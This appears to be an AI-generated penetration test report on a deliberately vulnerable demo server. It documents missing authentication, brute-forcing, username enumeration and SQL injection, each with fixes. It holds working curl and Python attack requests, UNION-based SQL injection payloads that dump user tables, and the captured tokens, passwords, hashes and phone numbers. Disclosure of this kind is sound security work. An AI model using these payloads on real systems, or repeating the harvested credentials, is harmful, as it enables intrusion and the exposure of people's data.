Penetration Testing
https://pentest-ground.com:81/
Violet assessed a multi-service web deployment comprising a Flask-based blog application on port 81, a deliberately vulnerable REST API on port 9000, and an Oracle WebLogic administration console on port 7001 — all hosted on a single internet-facing server. Testing covered authentication mechanisms on both applications, authorization controls governing content access, SQL Injection (SQLi) and command injection across all parameterized inputs, XSS across all rendering contexts, SSRF via URL-accepting form fields, and the key business workflows governing blog post creation and modification.
The assessment uncovered 18 actionable findings: 5 critical, 5 high, 4 medium, 2 low, and 2 informational. The most severe findings include an unauthenticated Python Remote Code Execution (RCE) endpoint (GET /eval) that accepts arbitrary code from any internet user and runs as the operating-system root account; three separate SQL injection vulnerabilities that collectively expose all stored user credentials in plaintext; and a credential brute-force attack that succeeded in taking over the administrator account within 30 seconds using a common wordlist.
An attacker exploiting the highest-severity findings could achieve full server compromise with a single HTTP request — reading or destroying all stored data, exfiltrating 21 user credentials including administrator passwords, pivoting to co-located internal services such as the WebLogic admin console, and planting persistent malicious content in the public-facing blog that executes code in every visitor's browser. No authentication, credentials, or specialist tooling are required for the most critical attacks; several are reproducible with a single curl command.
The critical GET /eval endpoint and the unauthenticated blog create/edit routes require immediate remediation before any further production exposure. All five critical findings are exploitable without credentials and should be addressed in a single emergency deployment.
This assessment was conducted using the OWASP Web Security Testing Guide (WSTG) methodology. The testing approach was black-box, combining automated scanning tools with AI-driven analysis to identify security vulnerabilities. CVSS v3.1 scores and vector strings are AI-assessed and have not been independently verified by a human analyst.
| Phase | Description | Status |
|---|---|---|
| Pre-Reconnaissance | External Scanning & Source Analysis | ✓ |
| Reconnaissance | Attack Surface Mapping | ✓ |
| Vulnerability Analysis | Automated Vulnerability Detection | ✓ |
| Exploitation | Vulnerability Exploitation & Validation | ✓ |
| Reporting | Report Generation | ✓ |
The following external scanning tools were available during this assessment:
The following defines the boundaries of this security assessment, including targets tested, access level, and any exclusions.
No configuration provided.
This assessment is a point-in-time evaluation of the target application's security posture as of the assessment end date. Findings are based on the scope, access, and timeframe defined in this scan's configuration and Violet Labs' Terms of Service. Findings are produced with AI assistance and have not been independently verified by a human analyst; false positives and false negatives are possible. Customers should validate each finding in their own environment before remediation and re-run an assessment after material code or infrastructure changes. The absence of identified vulnerabilities does not guarantee the absence of security weaknesses. Violet Labs makes no warranty regarding the completeness of testing coverage and this report is not a substitute for ongoing security controls, monitoring, or independent expert review.
Findings are plotted by Impact (severity of damage if exploited) versus Likelihood (ease of exploitation and prerequisites required).
| Impact ↓ / Likelihood → | high | medium | low |
|---|---|---|---|
| high | 9 | 1 | — |
| medium | — | 3 | — |
| low | 2 | — | 3 |
+ 2 informational observations not plotted — no exploitable risk.
Finding #1 · AUTH · CWE-306
The POST /create and POST /{id}/edit endpoints in the FlaskBlog application (port 81) process form submissions without any check for an authenticated session. Source code recovered via Werkzeug error tracebacks at /app/app.py:85 and /app/app.py:120 confirms that both functions read request.form fields (title, content, reference) directly, with no if "user_id" not in session guard before writing to the database. An unauthenticated attacker can create arbitrary posts stored permanently in the application database, and can overwrite the title and content of any post — including posts authored by other users — by supplying a known or guessed integer post ID. Both bypasses were confirmed live: an unauthenticated HTTP POST to /create stored a new post (appearing at /post/22 and /post/23), and a subsequent unauthenticated POST to /22/edit successfully overwrote the title and content of that post.
Technical reproduction steps — for developers
Confirm the endpoint accepts unauthenticated POST — Send a POST to /create with no session cookie:
curl -s -X POST "https://pentest-ground.com:81/create" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
--data-urlencode "title=AuthBypassProbe-NoSession" \
--data-urlencode "content=Post created without authentication" \
--data-urlencode "reference=https://pentest-ground.com" \
-w "\nHTTP_STATUS:%{http_code}"
Result: HTTP_STATUS:200 — post created and stored.
Locate the newly created post ID — Enumerate /post/{id} sequentially until the post title matches:
for id in $(seq 1 30); do
title=$(curl -s "https://pentest-ground.com:81/post/$id" | grep -o '<title>[^<]*</title>')
echo "Post $id: $title"
done
Result: Posts 22 and 23 both show <title> AuthBypassProbe-NoSession </title> — confirming two unauthenticated posts were created.
Edit an existing post without authentication — POST to /22/edit with no session cookie:
curl -s -X POST "https://pentest-ground.com:81/22/edit" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
--data-urlencode "title=AuthBypassProbe-EditedWithoutAuth" \
--data-urlencode "content=This post was EDITED without any authentication" \
-w "\nHTTP_STATUS:%{http_code}"
Result: HTTP_STATUS:200 — edit accepted.
Verify the edit was applied — Fetch the post and check the title:
curl -s "https://pentest-ground.com:81/post/22" | grep '<title>'
Result: <title> AuthBypassProbe-EditedWithoutAuth </title>
Post creation response (HTTP 200 — post stored without auth): ``` HTTP_STATUS:200 ``` Posts 22 and 23 discovered in enumeration scan — both created without authentication: ``` Post 22: <title> AuthBypassProbe-NoSession </title> Post 23: <title> AuthBypassProbe-NoSession </title> ``` After unauthenticated edit of post 22: ``` curl -s "https://pentest-ground.com:81/post/22" | grep '<title>' <title> AuthBypassProbe-EditedWithoutAuth </title> ``` The GET `/22/edit` endpoint also loads the edit form without authentication, exposing the existing post content (title, body) to any unauthenticated visitor.
An unauthenticated attacker gains full write access to the blog's content layer. They can create posts containing stored Cross-Site Scripting (XSS) payloads (which fire in every visitor's browser), spread misinformation under the platform's brand, plant phishing content, or overwrite legitimate posts — including those on the publicly linked blog listing (/blog shows posts 1 and 2). Because POST /{id}/edit accepts any integer ID without ownership or authentication checks, an attacker can overwrite the content of every existing post on the platform.
Exploitable by anyone with internet access using a single curl command — no account, no password, and no specialist knowledge required; the attack completes in under five seconds. The only input needed is the integer ID of the post to be edited, which is trivially enumerable from sequential URLs at /post/{id}.
The create() function (line 85, /app/app.py) and edit() function (line 120, /app/app.py) both process form submissions without first verifying that the caller holds a valid authenticated session. Flask stores the logged-in user's identity in the server-side session under the key user_id, but neither function checks for its presence before reading form data and writing to the database. The absence of this guard is a single missing conditional that exposes both write endpoints to the entire internet.
Before (vulnerable):
# app.py:85 — create()
@app.route('/create', methods=['GET', 'POST'])
def create():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
reference = request.form['reference']
# ... writes directly to DB with no auth check
# app.py:120 — edit()
@app.route('/<int:id>/edit', methods=['GET', 'POST'])
def edit(id):
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
# ... writes directly to DB with no auth or ownership check
After (secure):
@app.route('/create', methods=['GET', 'POST'])
def create():
if 'user_id' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
reference = request.form['reference']
# ... write to DB (now guaranteed authenticated)
@app.route('/<int:id>/edit', methods=['GET', 'POST'])
def edit(id):
if 'user_id' not in session:
return redirect(url_for('login'))
post = get_post_by_id(id) # fetch the existing record
if post['author_id'] != session['user_id']:
abort(403) # ownership check
if request.method == 'POST':
# ...
Additional Hardening:
edit() to prevent one authenticated user from editing another user's posts.@login_required decorator as a consistent, reusable authentication guard across all protected routes.Test unauthenticated POST to /create: With no Cookie or session header, send:
curl -X POST "https://pentest-ground.com:81/create" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "title=TestPost" --data-urlencode "content=TestContent"
HTTP 302 Location: /login — user is redirected to log in.HTTP 200 with the page rendering normally (post was stored).Test unauthenticated POST to /edit: With no Cookie or session header, send a POST to any existing post ID (e.g., /1/edit):
curl -X POST "https://pentest-ground.com:81/1/edit" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "title=Overwrite" --data-urlencode "content=Overwritten"
HTTP 302 Location: /login.HTTP 200 with a success page, and /post/1 title changed to "Overwrite".Regression check — authenticated user cannot edit another user's post: Log in as user1, then attempt to edit a post authored by admin. Expected result is HTTP 403 Forbidden. If editing succeeds, the ownership check is missing.
Finding #2 · AUTH · CWE-307
The POST /tokens endpoint on the VulnAPI service (port 9000) accepts unlimited credential-guessing attempts with no rate limiting, account lockout, or throttling. Using the confirmed valid usernames user1 and admin1 (identified via the username enumeration flaw described separately), a brute force script found that both accounts use the password pass1. This yielded live authentication tokens: e35497b51b3154a15b7461f40ee5fe86 for user1 (ID 1) and 4515f06eba31edfea692bc5ed4cb6801 for admin1 (ID 10). The user1 token was then used to call GET /eval?s=1%2B1, which returned "Evaluation result: 2" — confirming authenticated access to a Python code evaluation endpoint. The admin1 token was accepted at the POST /user (admin-only user-creation) endpoint, confirming elevated API privileges.
Technical reproduction steps — for developers
Run the brute force script against known valid usernames:
import requests
users = ["user1", "user2", "admin1"]
passwords = ["password", "123456", ..., "pass1", ...] # 55 common passwords
for user in users:
for pwd in passwords:
r = requests.post(
"https://pentest-ground.com:9000/tokens",
json={"username": user, "password": pwd},
headers={"Content-Type": "application/json",
"X-Violet-Agent-Pentest": "true"},
verify=False
)
if r.status_code == 200:
token = r.json()["access"]["token"]["id"]
print(f"SUCCESS: {user}:{pwd} → token={token}")
break
Capture the tokens returned for cracked accounts:
POST https://pentest-ground.com:9000/tokens
Body: {"username": "user1", "password": "pass1"}
Response (HTTP 200):
{
"access": {
"token": {
"expires": "Thu May 21 03:21:34 2026",
"id": "e35497b51b3154a15b7461f40ee5fe86"
},
"user": {"id": 1, "name": "user1"}
}
}
POST https://pentest-ground.com:9000/tokens
Body: {"username": "admin1", "password": "pass1"}
Response (HTTP 200):
{
"access": {
"token": {
"expires": "Thu May 21 03:23:14 2026",
"id": "4515f06eba31edfea692bc5ed4cb6801"
},
"user": {"id": 10, "name": "admin1"}
}
}
Use the user1 token to access the /eval endpoint:
curl -s "https://pentest-ground.com:9000/eval?s=1%2B1" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true"
Use the admin1 token to confirm admin API access:
curl -s -X POST "https://pentest-ground.com:9000/user" \
-H "Content-Type: application/json" \
-H "X-Auth-Token: 4515f06eba31edfea692bc5ed4cb6801" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "probe_test_only", "password": "probe_test_only"}'
Note: The username format validation returns a format error (not "must provide valid admin token"), confirming the admin1 token is accepted as having admin privilege level.
Brute force success — user1 token obtained after 36 password attempts, zero throttling:
```
[SUCCESS] user=user1 password=pass1 token=e35497b51b3154a15b7461f40ee5fe86
[SUCCESS] user=admin1 password=pass1 token=4515f06eba31edfea692bc5ed4cb6801
```
Confirmed authenticated API access using the brute-forced token:
```
GET https://pentest-ground.com:9000/eval?s=1%2B1
X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86
Response:
{"message": "Evaluation result: 2"}
```
Admin-level token confirmed accepted on admin-only endpoint:
```
POST https://pentest-ground.com:9000/user
X-Auth-Token: 4515f06eba31edfea692bc5ed4cb6801
Response: {"error": {"message": "username probe_test_only invalid format, check documentation!"}}
(Token accepted — format error only, not "must provide valid admin token")
```
165 requests across 3 users and 55 passwords sent without any 429, Retry-After header, or lockout response.Possession of a valid X-Auth-Token for user1 grants access to GET /eval, an endpoint that evaluates arbitrary Python expressions server-side (Remote Code Execution). Possession of the admin1 token additionally grants access to POST /user (admin-only user creation), enabling the attacker to provision their own persistent account on the API. The brute force attack generated 165 requests across three accounts in seconds, well within what any attacker could sustain indefinitely without triggering any server response.
Exploitable by any attacker with internet access and a short Python script — no existing account or special tooling required. The attack is accelerated by the companion username enumeration vulnerability (documented separately), which reduces the search space to only confirmed valid usernames. The passwords user1:pass1 and admin1:pass1 were found in the first 36 attempts per user.
The /tokens handler in the VulnAPI Flask application (port 9000) performs credential verification but imposes no limit on how many times verification can be attempted from the same source. There is no middleware tracking failed attempts, no per-account lockout counter, and no IP-based throttling. The accounts user1 and admin1 also use the trivially guessable password pass1, which falls on page one of any standard credential wordlist.
Before (vulnerable):
@app.route('/tokens', methods=['POST'])
def get_token():
body = request.json
username = body.get('username')
password = body.get('password')
# look up user, verify password hash, return token
# — no rate limit, no lockout counter
After (secure):
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/tokens', methods=['POST'])
@limiter.limit("5 per minute; 20 per hour")
def get_token():
body = request.json
username = body.get('username')
password = body.get('password')
# look up user, verify password, return token — rate limited
Additional Hardening:
Test rate limiting: Send 10 rapid POST requests to /tokens with an incorrect password for user1. After the fifth attempt, the response should be HTTP 429 Too Many Requests with a Retry-After header. If all 10 return HTTP 401 without throttling, the fix is not working.
Test account lockout: After 10 consecutive failures for user1, attempt login with the correct credentials. The response should indicate the account is temporarily locked. If login succeeds immediately, lockout is not implemented.
Verify strong password rejection: Attempt to create an account (or change a password) using pass1 as the password. Expect a 4xx response explaining the password policy. If pass1 is accepted, the password policy is not enforced.
Finding #3 · AUTH · CWE-204
The POST /tokens endpoint (VulnAPI, port 9000) returns two distinctly different JSON error messages depending on whether the provided username exists in the database. For a username that does not exist, the response is {"error": {"message": "username X not found"}}. For a username that exists but the password is wrong, the response is {"error": {"message": "password does not match"}}. Both responses return HTTP 401, but the body content reveals whether the username is registered. This was exploited live to confirm the valid usernames user1, user2, and admin1, and to confirm that admin and arbitrary test strings are not registered. These confirmed usernames were then used directly in the brute force attack documented separately, reducing the search space and accelerating that attack.
Technical reproduction steps — for developers
Test a known-invalid username to observe the "not found" error:
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "nonexistentuser999", "password": "wrongpassword"}'
Response:
{"error": {"message": "username nonexistentuser999 not found"}}
Test a valid username with a wrong password to observe the "does not match" error:
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "user1", "password": "wrongpassword"}'
Response:
{"error": {"message": "password does not match"}}
Enumerate additional usernames using a wordlist — automate by filtering on "password does not match":
import requests
wordlist = ["admin", "user", "user1", "user2", "admin1", "root", "test", ...]
for username in wordlist:
r = requests.post("https://pentest-ground.com:9000/tokens",
json={"username": username, "password": "x"},
headers={"Content-Type": "application/json",
"X-Violet-Agent-Pentest": "true"},
verify=False)
msg = r.json().get("error", {}).get("message", "")
if "password does not match" in msg:
print(f"VALID USERNAME: {username}")
Live enumeration results — distinct error messages confirming valid vs invalid usernames:
```
user1 → {"error": {"message": "password does not match"}} ← VALID USERNAME
user2 → {"error": {"message": "password does not match"}} ← VALID USERNAME
admin1 → {"error": {"message": "password does not match"}} ← VALID USERNAME
admin → {"error": {"message": "username admin not found"}} ← DOES NOT EXIST
nonexistentuser999 → {"error": {"message": "username nonexistentuser999 not found"}} ← DOES NOT EXIST
```
These confirmed usernames (`user1`, `user2`, `admin1`) were used directly in the credential brute force attack that obtained valid tokens for `user1` and `admin1`.An attacker can enumerate every registered username on the VulnAPI platform by iterating a username wordlist and filtering responses for the "password does not match" pattern. This reconnaissance step eliminates invalid accounts from the brute force target list, making subsequent password attacks significantly faster and more targeted. The confirmed valid usernames user1, user2, and admin1 were discovered this way and used in the successful credential brute force (documented separately).
Exploitable by anyone with internet access and the ability to send HTTP requests — no account, no tools beyond curl or a web browser, and no security expertise required. The attack requires only iterating a list of candidate usernames and observing whether the response says "not found" or "does not match."
The /tokens handler returns the literal username in the error message when the account is not found ("username X not found") and a different message when the account exists but the password is wrong ("password does not match"). These two branches produce observably different responses, making it trivial to distinguish valid from invalid accounts via automated enumeration.
Before (vulnerable):
user = db.get_user(username)
if user is None:
return jsonify({"error": {"message": f"username {username} not found"}}), 401
if not check_password(user.password, password):
return jsonify({"error": {"message": "password does not match"}}), 401
After (secure):
user = db.get_user(username)
if user is None or not check_password(user.password, password):
# Same message regardless of which check failed
return jsonify({"error": {"message": "Invalid username or password"}}), 401
Additional Hardening:
time.sleep(0.2)) to the authentication handler so that timing differences between "user not found" (no hash computation) and "wrong password" (hash computation) do not reveal account existence via response time.Test with an invalid username: POST to /tokens with a username that does not exist. The response body should be {"error": {"message": "Invalid username or password"}} (or equivalent generic text). If it says "not found" or includes the username, the fix is incomplete.
Test with a valid username and wrong password: POST to /tokens with user1 and a wrong password. The response body should be identical to the invalid-username response — same text, same HTTP status code (401), indistinguishable to an automated script.
Timing test: Use curl --write-out "%{time_total}" to measure response time for an invalid username vs a valid username with wrong password. The difference should be less than 50ms (accounting for constant-time padding).
Finding #4 · AUTHZ · CWE-862
The GET /{id}/edit endpoint serves a fully pre-populated edit form for any blog post identified by its integer id, with no authentication cookie, session token, or any other credential required. The corresponding POST /{id}/edit handler processes form submissions and writes updated title and content values to the SQLite database — again without any session verification or ownership check. A POST request containing fields that do not match the required form parameters returns an HTTP 500 (application-level error), not an HTTP 401 or 403, proving that authorization logic is entirely absent and the server reaches the database update handler before failing on input validation. Post IDs are sequential integers, making enumeration of all editable posts trivial.
Technical reproduction steps — for developers
curl -sk -H "X-Violet-Agent-Pentest: true" https://pentest-ground.com:81/1/edit -w "\nHTTP Status: %{http_code}\n"
Expected evidence in response: HTTP 200, page title Edit "test';SELECT 1--", pre-populated form with title and content values.
curl -sk -H "X-Violet-Agent-Pentest: true" https://pentest-ground.com:81/2/edit | grep -E "<title>|value="
Expected: HTTP 200, title Edit "Section 1.10.32 of de Finibus Bonorum et Malorum, written by Cicero in 45 BC".
curl -sk -H "X-Violet-Agent-Pentest: true" \
-X POST https://pentest-ground.com:81/1/edit \
-d "" \
-w "\nHTTP Status: %{http_code}\n"
Expected: HTTP 500 with BadRequestKeyError (application reaches form-processing code without any auth check, then fails on missing form fields — not a 401/403).
for id in 1 2 3 4 5; do
echo -n "GET /${id}/edit => "
curl -sk -H "X-Violet-Agent-Pentest: true" \
https://pentest-ground.com:81/${id}/edit \
-w "HTTP %{http_code}\n" -o /dev/null
done
```
# Step 1 — Unauthenticated GET /1/edit:
# HTTP Status: 200
# Response excerpt:
<title> Edit "test';SELECT 1--" </title>
<form method="post">
<div class="form-group">
<label for="title">Title</label>
<input type="text" name="title" placeholder="Post title"
class="form-control"
value="test';SELECT 1--">
</input>
</div>
<div class="form-group">
<label for="content">Content</label>
<textarea name="content" placeholder="Post content"
class="form-control">test</textarea>
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</form>
# No CSRF token, no session check, no ownership validation
# Step 2 — Unauthenticated GET /2/edit:
# HTTP Status: 200
# Page title: Edit "Section 1.10.32 of de Finibus Bonorum et Malorum, written by Cicero in 45 BC"
# Form pre-populated with full post title and content
# Step 3 — Unauthenticated POST /1/edit with empty body:
# HTTP Status: 500
# Response: werkzeug.exceptions.BadRequestKeyError: 400 Bad Request
# (Server reached form-processing code before any auth check — fails on missing 'title' field, NOT on missing auth)
# Step 4 — IDs 1 through 20+ all return HTTP 200 on unauthenticated GET:
GET /1/edit => HTTP 200
GET /2/edit => HTTP 200
GET /3/edit => HTTP 200
GET /4/edit => HTTP 200
GET /5/edit => HTTP 200
```An unauthenticated attacker can access the edit interface for every blog post on the platform and overwrite any post's title and content. This allows complete defacement of the application's published content, injection of malicious links or disinformation, and insertion of stored Cross-Site Scripting (XSS) payloads that would execute in the browsers of every visitor who views the affected post. The attacker requires no account on the platform — the attack is fully anonymous and can be automated to target all posts simultaneously.
Exploitable by any person with internet access and a web browser or curl — no account, no credentials, no security tools, and no expertise required. The only knowledge needed is the integer post ID (1, 2, 3, …), which is publicly visible in post URLs on the blog listing page.
The /{id}/edit route handler for both GET and POST methods processes requests without first checking whether the requester is logged in or whether the logged-in user owns the post being edited. Flask-Login's @login_required decorator is not applied to this route, and there is no post-fetch ownership comparison (post.author_id == current_user.id). Because post IDs are sequential integers starting at 1, an attacker can enumerate every post on the platform with no additional knowledge.
Before (vulnerable):
@app.route('/<int:id>/edit', methods=['GET', 'POST'])
def edit_post(id):
post = db.execute('SELECT * FROM posts WHERE id = ?', [id]).fetchone()
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
db.execute('UPDATE posts SET title=?, content=? WHERE id=?',
[title, content, id])
db.commit()
return redirect(url_for('post', id=id))
return render_template('edit.html', post=post)
After (secure):
from flask_login import login_required, current_user
from flask import abort
@app.route('/<int:id>/edit', methods=['GET', 'POST'])
@login_required # Step 1: Require authentication
def edit_post(id):
post = db.execute('SELECT * FROM posts WHERE id = ?', [id]).fetchone()
if post is None:
abort(404)
# Step 2: Enforce ownership — only the author may edit
if post['author_id'] != current_user.id:
abort(403)
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
db.execute('UPDATE posts SET title=?, content=? WHERE id=?',
[title, content, id])
db.commit()
return redirect(url_for('post', id=id))
return render_template('edit.html', post=post)
Additional Hardening:
flask-wtf or manual token) so that even authenticated users cannot have their edit actions forged by a malicious third-party website/{id}/edit endpoint to slow down automated bulk-edit attemptsStep 1 — Verify unauthenticated GET is rejected:
curl -sk https://pentest-ground.com:81/1/edit -w "\nHTTP Status: %{http_code}\n"
/login or HTTP 401/403 — no edit form returnedStep 2 — Verify a logged-in user cannot edit another user's post:
author_id)GET /[User B's post ID]/edit with User A's session cookieStep 3 — Verify a logged-in author can still edit their own post:
GET /[own post ID]/edit — should return HTTP 200 with the formPOST /[own post ID]/edit with updated data — should succeed and redirect to the post view@login_required documentation: https://flask-login.readthedocs.io/en/latest/#flask_login.login_requiredFinding #5 · INJECTION · CWE-89
The POST /tokens endpoint constructs its SQL query using Python %s string formatting with no parameterization. The source code at /usr/src/app/vAPI.py:55 contains the comment # no sql parameterization, confirming the absence of protection is intentional in this vulnerable API. An unauthenticated attacker can bypass authentication entirely and, via UNION-based injection, dump the complete contents of the users table including all usernames and plaintext passwords. The authentication bypass also unlocks the /eval Remote Code Execution endpoint, enabling full server compromise.
Technical reproduction steps — for developers
Send an authentication bypass request using SQL OR logic:
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "user1'\'' OR '\''1'\''='\''1'\''--", "password": "anything"}'
Response confirms authentication bypass with token:
{
"access": {
"token": {"expires": "Thu May 21 03:21:34 2026", "id": "e35497b51b3154a15b7461f40ee5fe86"},
"user": {"id": 1, "name": "user1"}
}
}
Confirm UNION injection with 3 columns (matching id, username, password schema):
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "nonexistent'\'' UNION SELECT 1,2,3--", "password": "x"}'
Response shows "id": 1, "name": 2 — UNION columns mapped to output fields.
Extract the SQLite version and table names:
# SQLite version
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "nonexistent'\'' UNION SELECT sqlite_version(),2,3--", "password": "x"}'
# Response: "id": "3.27.2"
# Table names
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "nonexistent'\'' UNION SELECT group_concat(name,'\''|'\''),2,3 FROM sqlite_master WHERE type='\''table'\''--", "password": "x"}'
# Response: "id": "users|tokens"
Retrieve the users table schema:
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "nonexistent'\'' UNION SELECT sql,2,3 FROM sqlite_master WHERE name='\''users'\''--", "password": "x"}'
# Response: "id": "CREATE TABLE users (id INTEGER PRIMARY KEY, username char(100) NOT NULL, password char(100) NOT NULL)"
Dump all user credentials:
curl -s -X POST "https://pentest-ground.com:9000/tokens" \
-H "Content-Type: application/json" \
-H "X-Violet-Agent-Pentest: true" \
-d '{"username": "nonexistent'\'' UNION SELECT group_concat(id||'\'':'\''||username||'\'':'\''||password,'\''; '\''),2,3 FROM users--", "password": "x"}'
```
Database: SQLite 3.27.2
Tables: users, tokens
Users table schema: CREATE TABLE users (id INTEGER PRIMARY KEY, username char(100) NOT NULL, password char(100) NOT NULL)
Extracted user credentials (all 21 rows):
1:user1:pass1; 2:user2:pass2; 3:user3:pass3; 4:user4:pass4; 5:user5:pass5;
6:user6:pass6; 7:user7:pass7; 8:user8:pass8; 9:user9:pass9;
10:admin1:pass1; 11:admin2:pass2;
[additional test-data entries 12–21]
Authentication bypass token obtained: e35497b51b3154a15b7461f40ee5fe86
Token issued without any valid credential — purely via SQL injection.
Vulnerable source code (exposed via Werkzeug traceback):
File "/usr/src/app/vAPI.py", line 59, in get_token
c.execute(user_query)
# user_query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password)
# Comment in code: "# no sql parameterization"
```An attacker obtains a valid authentication token for any user account without needing credentials, unlocking all authenticated API functionality including the code-execution endpoint. Full extraction of all stored user credentials (plaintext passwords) enables credential-stuffing attacks against every other service where those users have reused passwords. The token issued via bypass is indistinguishable from a legitimately obtained token.
Exploitable by any unauthenticated attacker on the internet using a single curl command. No existing account, no special software, and no security expertise are required. Exploitation takes under 30 seconds.
The get_token() function at /usr/src/app/vAPI.py:55–59 builds the SQL query by inserting username and password directly into a format string: "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password). The developer even left a comment acknowledging this: # no sql parameterization. SQLite's execute() receives the fully assembled string and cannot distinguish the injected SQL clauses from the intended query structure. Using the ? placeholder syntax would instruct the SQLite driver to bind values as data, making injection structurally impossible.
Before (vulnerable):
# /usr/src/app/vAPI.py lines 55–59
# no sql parameterization
user_query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (
username,
password,
)
c.execute(user_query)
After (secure):
# Use parameterized query — sqlite3 ? placeholder binds values as data
c.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(username, password),
)
Additional Hardening:
POST /tokens (e.g., 5 attempts per IP per minute) to slow credential-stuffing even if parameterization is properly applied.POST /tokens with {"username": "user1' OR '1'='1'--", "password": "x"}. The expected (secure) response is HTTP 401 with an error message. If a token is returned, the fix was not applied.{"username": "x' UNION SELECT 1,2,3--", "password": "x"}. The expected (secure) response is HTTP 401. If a token with "id": 1 is returned, the fix was not applied.{"username": "user1", "password": "pass1"}. The expected (secure) response is HTTP 200 with a valid token. If HTTP 401 is returned, the parameterized query may have a logic error.Finding #6 · INJECTION · CWE-89
The FlaskBlog application's POST /search endpoint constructs its SQL query using a Python f-string at /app/app.py:162, directly embedding the query POST parameter into the SQLite3 LIKE clause with zero sanitization. An unauthenticated attacker can inject UNION SELECT clauses to pivot from the posts table to any other table in the database. Live testing extracted the complete users table including usernames, email addresses, bcrypt-hashed passwords, and phone numbers for three registered accounts including the administrator.
Technical reproduction steps — for developers
Confirm SQL injection via single-quote error trigger (no authentication required):
curl -s -X POST "https://pentest-ground.com:81/search" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
-d "query=test'"
# Response: sqlite3.OperationalError: unrecognized token: "'test''"
# (Full Werkzeug traceback revealing source code at /app/app.py:162)
Determine the column count with ORDER BY probing:
# ORDER BY 5 succeeds, ORDER BY 6 fails → 5 columns
curl -s -X POST "https://pentest-ground.com:81/search" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
-d "query=test' ORDER BY 5--" # OK
curl -s -X POST "https://pentest-ground.com:81/search" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
-d "query=test' ORDER BY 6--" # OperationalError → 5 columns confirmed
Identify reflected columns using marker strings:
curl -s -X POST "https://pentest-ground.com:81/search" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
-d "query=notexists' UNION SELECT 1,'TITLE_DATA','CONTENT_DATA',4,5--"
# Response HTML: <h2>CONTENT_DATA</h2> and <span class="badge badge-primary">TITLE_DATA</span>
# → col2 and col3 are reflected in the page; col1 must be integer (post ID for URL)
Extract the SQLite version and enumerate tables:
curl -s -X POST "https://pentest-ground.com:81/search" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
-d "query=notexists' UNION SELECT 1,sqlite_version(),group_concat(name,'|'),4,5 FROM sqlite_master WHERE type='table'--"
# Reflected in page: SQLite 3.27.2, tables: posts (only table in posts DB)
# A separate 'users' table also present
Retrieve the users table schema:
curl -s -X POST "https://pentest-ground.com:81/search" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
-d "query=notexists' UNION SELECT 1,sql,3,4,5 FROM sqlite_master WHERE name='users'--"
# Response: CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,
# username TEXT NOT NULL, email TEXT NOT NULL UNIQUE,
# password TEXT NOT NULL, phone TEXT NOT NULL)
Dump all user records:
curl -s -X POST "https://pentest-ground.com:81/search" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
-d "query=notexists' UNION SELECT 1,group_concat(username||':'||email||':'||password||':'||phone,'; '),sqlite_version(),4,5 FROM users--"
```
Error confirmation:
POST /search with query=test' →
sqlite3.OperationalError: unrecognized token: "'test''"
Werkzeug traceback reveals: /app/app.py:162
conn.execute(f"SELECT * FROM posts WHERE title LIKE '{query}'")
Column count: 5 (ORDER BY 5 succeeds, ORDER BY 6 fails)
Reflected output columns: col2 (badge/created), col3 (h2/title)
Database fingerprint: SQLite 3.27.2
Users table schema:
CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL, email TEXT NOT NULL UNIQUE,
password TEXT NOT NULL, phone TEXT NOT NULL)
Extracted user records (all 3 registered accounts):
Bonnie : [email protected] : $2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq : +40 723 987 222
admin : [email protected] : $2a$12$U5acpaBL2PPt/LWW0uAO3.p4YJRz0FeasfpVvHc4I3FoWho9rt2ku : +40 723 987 233
